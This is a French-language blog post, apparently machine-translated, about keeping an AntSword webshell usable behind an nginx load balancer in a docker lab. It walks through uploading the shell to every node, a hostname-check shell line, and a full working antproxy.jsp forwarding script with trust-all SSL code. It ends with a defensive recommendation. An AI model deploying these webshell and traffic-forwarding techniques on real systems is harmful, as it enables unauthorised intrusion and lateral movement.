Téléchargement Webshell sous équilibrage de charge

1. Scénarios d'application

L'équilibrage de charge, en tant que solution au problème des applications Web transportant un accès à un trafic important, a été largement déployé dans des environnements réels. Il existe de nombreuses façons de réaliser l'équilibrage de charge, telles que le DNS, la redirection HTTP, l'équilibrage de charge IP, le proxy inverse, etc.

Par exemple, l'équilibrage de charge basé sur DNS :
insérez la description de l'image ici
bien sûr, il y a aussi l'équilibrage de charge classique de nginx basé sur le reverse proxy. Lorsque les utilisateurs accèdent au serveur via une adresse IP unique, ils ne sauront jamais quel serveur de traitement ils traitent. Pour cette partie du contenu, j'ai parlé en détail de sa méthode de classification et de configuration dans le précédent « NGINX Reverse Proxy Realizing Load Balancing ». Passons en revue les méthodes d'équilibrage de charge suivantes prises en charge par nginx :

vote méthode par défaut
lester méthode du poids
ip_hash Selon la méthode d'allocation d'ip
moindre_conn moindre connexion
équitable (tiers) mode de temps de réponse
url_hash (tiers) Selon la méthode de distribution d'URL

Comme vous pouvez le voir, il existe de nombreux modes d'équilibrage de charge pris en charge. Quel que soit le type de mode d'équilibrage de charge qui peut être divisé selon une telle règle, c'est-à-dire si un certain serveur fixe est accessible avec certitude.

Pourquoi dites-vous cela, car dans le processus de test d'intrusion, il existe une idée relativement fixe selon laquelle toutes les attaques tournent autour de l'obtention de webshells pour obtenir des autorisations de serveur. Qu'il s'agisse d'exploitation ou de craquage par force brute. Il s'agit d'obtenir le webshell, d'augmenter les privilèges et d'infiltrer l'intranet. Le processus global ressemble à ceci, mais une fois que la véritable adresse IP du serveur principal est masquée par l'équilibrage de charge, il y aura beaucoup de problèmes qui ne pourront pas être résolus. Cet article vise à clarifier l'idée de télécharger Webshell dans un tel environnement.

2. Difficultés rencontrées

D'une manière générale, il existe quatre difficultés, le téléchargement Webshell, l'exécution de commandes, la livraison d'outils et la pénétration de l'intranet en tant que tunnel. Ci-dessous, nous utilisons l'image docker fournie par l'auteur de Ant Sword pour illustrer les problèmes rencontrés.

https://github.com/AntSwordProject/AntSword-Labs

insérez la description de l'image ici
Après le téléchargement, chargez-le sur le serveur pour décompression, accédez au répertoire spécifié et démarrez l'environnement :

[root@blackstone loadbalance-jsp]# pwd
/home/batman/AntSword-Labs-master/loadbalance/loadbalance-jsp
[root@blackstone loadbalance-jsp]# docker-compose up -d

Nous regardons son fichier de composition et nous pouvons voir que
insérez la description de l'image ici
le port 80 de nginx est mappé sur le port 18080 de l'hôte, et nous http://192.168.2.169:18080
pouvons accéder à notre service Web en visitant . Node1 et Node2 sont tomcat 8, le port 8080 est ouvert dans le réseau interne, nous ne pouvons pas y accéder directement de l'extérieur.

insérez la description de l'image ici

À ce stade, ouvrez Ant Sword et nous essayons de nous connecter au webshell qui a été précédemment inséré sur node12

insérez la description de l'image ici
insérez la description de l'image ici
Lorsque vous avez terminé, cliquez sur Ajouter pour vous connecter officiellement à notre webshell.

2.1 Problème de téléchargement de fichier Shell

Essayez de rafraîchir plusieurs fois, très fluide :

insérez la description de l'image ici

Nous nous connectons à un serveur de nœud et essayons de désactiver le webshell :

[root@blackstone loadbalance-jsp]# docker ps -a
CONTAINER ID        IMAGE                      COMMAND                  CREATED             STATUS              PORTS                   NAMES
c549f819e15e        nginx:1.17                 "nginx -g 'daemon of…"   36 minutes ago      Up 36 minutes       0.0.0.0:18080->80/tcp   loadbalance-jsp_nginx_1
bab0805650c1        loadbalance-jsp_lbsnode2   "catalina.sh run"        36 minutes ago      Up 36 minutes       8080/tcp                loadbalance-jsp_lbsnode2_1
59bf661c6b83        loadbalance-jsp_lbsnode1   "catalina.sh run"        36 minutes ago      Up 36 minutes       8080/tcp                loadbalance-jsp_lbsnode1_1
[root@blackstone loadbalance-jsp]# docker exec -it bab0805650c1  /bin/bash

root@bab0805650c1:/usr/local/tomcat# find / -name ant.jsp
find: ‘/proc/1/map_files’: Operation not permitted
find: ‘/proc/37/map_files’: Operation not permitted
find: ‘/proc/41/map_files’: Operation not permitted
/usr/local/tomcat/webapps/ROOT/ant.jsp
root@bab0805650c1:/usr/local/tomcat# cd /usr/local/tomcat/webapps/ROOT/
root@bab0805650c1:/usr/local/tomcat/webapps/ROOT# mv ant.jsp ant

Essayez de rafraîchir à nouveau :
insérez la description de l'image ici
voyez, il clignote en rouge ! En fait, c'est parce que la demande est analysée sur ce serveur de nœud modifié lorsqu'il est à nouveau actualisé, car vous n'y avez téléchargé aucun fichier. Par conséquent, l'accès n'est pas disponible et 404 apparaît. Alors, comment faire apparaître uniformément notre webshell sur le serveur de nœud est la première question.

2.2 Dérive lors de l'exécution de la commande

Oui, vous avez bien entendu. Dans un tel environnement, lorsque le webshell que nous envoyons exécute des commandes, de sérieuses dérives se produiront. Vous ne savez jamais sur quel serveur la commande a été exécutée.

En supposant que nous ayons résolu la première difficulté, les webshells apparaissent uniformément sur les serveurs de nœuds principaux.

Nous ressuscitons le webshell précédemment disparu :

root@bab0805650c1:/usr/local/tomcat/webapps/ROOT# mv ant ant.jsp

Accédez à l'interface d'exécution de commande et essayez d'exécuter la commande :

insérez la description de l'image ici
Exécutez la commande pour afficher l'adresse IP :
insérez la description de l'image ici

L'avez-vous vu, il s'agit toujours du changement d'adresse IP dans l'état d'interrogation, une fois qu'il est en mode pondération, plus plusieurs serveurs de nœuds. Cette adresse deviendra introuvable.

2.3 Échec de la livraison de gros outils

Lorsque nous avons résolu les deux difficultés ci-dessus et que nous voulons approfondir, il est nécessaire de déployer certains outils à ce moment. Cependant, en raison de la méthode de téléchargement de fragments utilisée par antSword lors du téléchargement de fichiers. Un fichier est divisé en plusieurs requêtes HTTP et envoyé à la cible, donc la chose embarrassante vient, sur les deux nœuds, chaque moitié, et la façon dont la moitié est combinée dépend de l'algorithme LBS. Autrement dit, une fois que notre outil est plus grand que cette taille de fragment minimale. Il sera divisé en fragments et transmis au serveur de nœud.

2.4 Échec de l'outil de pénétration intranet

Étant donné que la machine cible ne peut pas sortir d'Internet, si vous voulez aller plus loin, vous ne pouvez utiliser que le tunnel HTTP tel que reGeorg/HTTPAbs, mais dans ce scénario, tous ces scripts de tunnel échouent.

insérez la description de l'image ici

Voici un diagramme schématique approximatif du fonctionnement du programme regerg, car notre serveur de nœud continuera à changer, ce qui rend impossible de maintenir une connexion complète entre l'attaquant et l'hôte où regeorg est déployé pendant longtemps. Même si chaque nœud hôte est équipé d'un tel logiciel en même temps. Les connexions avec les attaquants sont toujours foirées. Impossible de transmettre de manière stable le trafic intranet aux attaquants. Par conséquent, dans un tel environnement, il est également très difficile de déployer des outils intranet.

insérez la description de l'image ici

3. Quelques solutions

Il est en fait relativement simple de résoudre la première difficulté. Juste un mot 重复, téléchargez-le plusieurs fois, et le webshell peut certainement être téléchargé sur tous les serveurs de nœuds. Ensuite, nous devons trouver un moyen de résoudre les difficultés restantes.

3.1 Arrêt

Bien que cette solution ressemble à une méthode, ne parlons pas de savoir si les autorisations sont suffisantes dans l'environnement réel. Même si cela suffit, une telle opération est également très dangereuse. Bien qu'après l'arrêt du serveur de nœud, le serveur de nœud sera expulsé du pool de proxy nginx. Au final, chaque requête peut être adressée au même serveur. Cependant, les risques d'exposition sont élevés et les responsabilités légales correspondantes doivent être assumées. Par conséquent, cette méthode n'est pas recommandée.

3.2 Déterminer l'hôte d'exécution en fonction de l'IP

Si les adresses IP des hôtes suivants peuvent être déterminées avant l'exécution de chaque commande, le problème de dérive de commande peut être résolu.

Un shell est nécessaire ici:

#执行命令前进行ip判断,注意执行的命令写到then后else前即可。
if [ `hostname -i` == "172.19.0.2" ];then echo "node1 i will execute command.\n=========\n"; hostname -i;else echo "other.tryagain"; fi

Par exemple comme ceci :

root@bab0805650c1:~# if [ `hostname -i` == "172.19.0.2" ];then echo "node1 i will execute command.\n=========\n"; hostname -i;else echo "other.tryagain"; fi
node1 i will execute command.\n=========\n
172.19.0.2
root@bab0805650c1:~# if [ `hostname -i` == "172.19.0.3" ];then echo "node1 i will execute command.\n=========\n"; hostname -i;else echo "other.tryagain"; fi
other.tryagain

De cette façon, il est en effet possible de s'assurer que la commande exécutée est sur la machine que l'on souhaite, mais exécuter la commande de cette manière n'est pas assez fluide . Même s'il tourne pendant l'interruption d'Ant Sword, il y aura des problèmes. Testé sur un appareil réel et il fonctionne bien.

Une telle solution est vraiment gênante et ne peut pas résoudre nos besoins de pénétration intranet, elle n'est donc pas recommandée.

3.3 Le script réalise la redirection du trafic de la couche web

C'est vrai, nous ne pouvons pas accéder directement au port 8080 de l'IP intranet de LBSNode1 (172.23.0.2) avec AntSword, mais quelqu'un peut y accéder. En plus de nginx, la machine LBSNode2 peut également accéder au port 8080 de Node1 . C'est-à-dire que nous écrivons un script pour déterminer l'adresse de destination du trafic, si ce n'est pas node1, il suffit de transférer le trafic vers ant.jsp de node1. De cette façon, une connexion stable entre l'attaquant et node1 peut être établie.

image

Ceci est une photo de l'auteur original, nous analysons la demande suivante.

1. La demande de connexion arrive à nginx pour le transfert d'équilibrage de charge et est traitée par le serveur de nœud principal 2.
La demande arrive au nœud 1, accède au fichier antproxy.jsp et transfère le trafic à ant.jsp sur le nœud 172.23 .0.2
3. Requête arrivée au nœud 2. Accédez au fichier antproxy.jsp sur le nœud 2 et transférez également le trafic vers le fichier ant.jsp sur le nœud 172.23.0.2. Établir la communication.

De cette façon, nous pouvons nous assurer que nous pouvons toujours nous connecter au fichier ant.jsp du nœud 1 et établir une communication stable. Fais-le c'est tout.

Voici le script de transfert :

<%@ page contentType="text/html;charset=UTF-8" language="java" %>
<%@ page import="javax.net.ssl.*" %>
<%@ page import="java.io.ByteArrayOutputStream" %>
<%@ page import="java.io.DataInputStream" %>
<%@ page import="java.io.InputStream" %>
<%@ page import="java.io.OutputStream" %>
<%@ page import="java.net.HttpURLConnection" %>
<%@ page import="java.net.URL" %>
<%@ page import="java.security.KeyManagementException" %>
<%@ page import="java.security.NoSuchAlgorithmException" %>
<%@ page import="java.security.cert.CertificateException" %>
<%@ page import="java.security.cert.X509Certificate" %>
<%!
  public static void ignoreSsl() throws Exception {
    
    
        HostnameVerifier hv = new HostnameVerifier() {
    
    
            public boolean verify(String urlHostName, SSLSession session) {
    
    
                return true;
            }
        };
        trustAllHttpsCertificates();
        HttpsURLConnection.setDefaultHostnameVerifier(hv);
    }
    private static void trustAllHttpsCertificates() throws Exception {
    
    
        TrustManager[] trustAllCerts = new TrustManager[] {
    
     new X509TrustManager() {
    
    
            public X509Certificate[] getAcceptedIssuers() {
    
    
                return null;
            }
            @Override
            public void checkClientTrusted(X509Certificate[] arg0, String arg1) throws CertificateException {
    
    
                // Not implemented
            }
            @Override
            public void checkServerTrusted(X509Certificate[] arg0, String arg1) throws CertificateException {
    
    
                // Not implemented
            }
        } };
        try {
    
    
            SSLContext sc = SSLContext.getInstance("TLS");
            sc.init(null, trustAllCerts, new java.security.SecureRandom());
            HttpsURLConnection.setDefaultSSLSocketFactory(sc.getSocketFactory());
        } catch (KeyManagementException e) {
    
    
            e.printStackTrace();
        } catch (NoSuchAlgorithmException e) {
    
    
            e.printStackTrace();
        }
    }
%>
<%		//注意这里的地址一定修改正确,不同的环境内部使用的地址不一定一样
        String target = "http://172.19.0.2:8080/ant.jsp";
        URL url = new URL(target);
        if ("https".equalsIgnoreCase(url.getProtocol())) {
    
    
            ignoreSsl();
        }
        HttpURLConnection conn = (HttpURLConnection)url.openConnection();
        StringBuilder sb = new StringBuilder();
        conn.setRequestMethod(request.getMethod());
        conn.setConnectTimeout(30000);
        conn.setDoOutput(true);
        conn.setDoInput(true);
        conn.setInstanceFollowRedirects(false);
        conn.connect();
        ByteArrayOutputStream baos=new ByteArrayOutputStream();
        OutputStream out2 = conn.getOutputStream();
        DataInputStream in=new DataInputStream(request.getInputStream());
        byte[] buf = new byte[1024];
        int len = 0;
        while ((len = in.read(buf)) != -1) {
    
    
            baos.write(buf, 0, len);
        }
        baos.flush();
        baos.writeTo(out2);
        baos.close();
        InputStream inputStream = conn.getInputStream();
        OutputStream out3=response.getOutputStream();
        int len2 = 0;
        while ((len2 = inputStream.read(buf)) != -1) {
    
    
            out3.write(buf, 0, len2);
        }
        out3.flush();
        out3.close();
%>

3.3.1 Créer un script antproxy.jsp

Modifiez l'adresse de transfert et tournez-vous vers l' adresse d'accès au script cible de l'IP intranet du nœud cible . Remarque : (1) N'utilisez pas la fonction de téléchargement, elle sera fragmentée et ne pourra pas être transmise (2) Celle de i doit être sauvegardée plusieurs fois pour s'assurer que tous les nœuds sont déployés avec notre script de transfert
insérez la description de l'image ici
insérez la description de l'image ici


insérez la description de l'image ici

3.3.2 Modifier la configuration du Shell

Remplissez la partie URL comme adresse de antproxy.jsp et conservez les autres configurations inchangées

http://192.168.2.169:18080/antproxy.jsp

insérez la description de l'image ici

Vérifiez si l'adresse IP va continuer à dériver :

insérez la description de l'image ici
Évidemment, notre adresse IP a cessé de dériver à ce moment, c'est-à-dire que nous pouvons nous connecter au serveur de nœud 1 de manière stable.

4. Résumé

Il y a aussi des traces de réflexion sur cette question. Tout d'abord, par rapport à la structure de service ordinaire, en tant qu'équilibreur de charge, sa caractéristique est de masquer le serveur de nœud du service réel.

Nous avons déjà téléchargé le webshell, qui peut être divisé en téléchargement de fichiers de cheval de Troie, exécution de commandes pour obtenir des informations de vulnérabilité pertinentes, lancement d'outils pour élever les autorisations pour obtenir des mots de passe et déploiement d'outils de pénétration pour tenter d'attaquer l'intranet.

Ensuite, analysez-le selon cette idée. Le téléchargement de fichiers de cheval de Troie doit être couvert de pluie et de rosée. Puisqu'il y aura une dérive dans un téléchargement, téléchargez-le plusieurs fois. Le deuxième problème, la dérive des commandes, peut à peine être résolu en jugeant l'IP. En fait, il existe de meilleures solutions. Pour les troisième et quatrième questions, l'adresse IP du serveur de nœud doit être fixée au moyen de scripts de transfert de trafic. De cette façon, l'influence de l'équilibrage de charge peut être complètement éliminée et tout ressemble à un environnement de téléchargement Webshell normal.

Ensuite, la solution 3 a en fait un problème très fatal : une fois que les serveurs de nœuds intranet ne communiquent pas entre eux, ils échouent complètement. C'est-à-dire, du point de vue de la sécurité, après la mise en œuvre de l'équilibrage de charge, nous devrions faire de notre mieux pour bloquer la communication au niveau de la couche réseau entre les serveurs de nœuds s'il n'y a pas d'exigence particulière. Ce n'est qu'ainsi que rien ne peut mal tourner.

Je suppose que tu aimes

Origine blog.csdn.net/qq_55316925/article/details/128957291
conseillé
Classement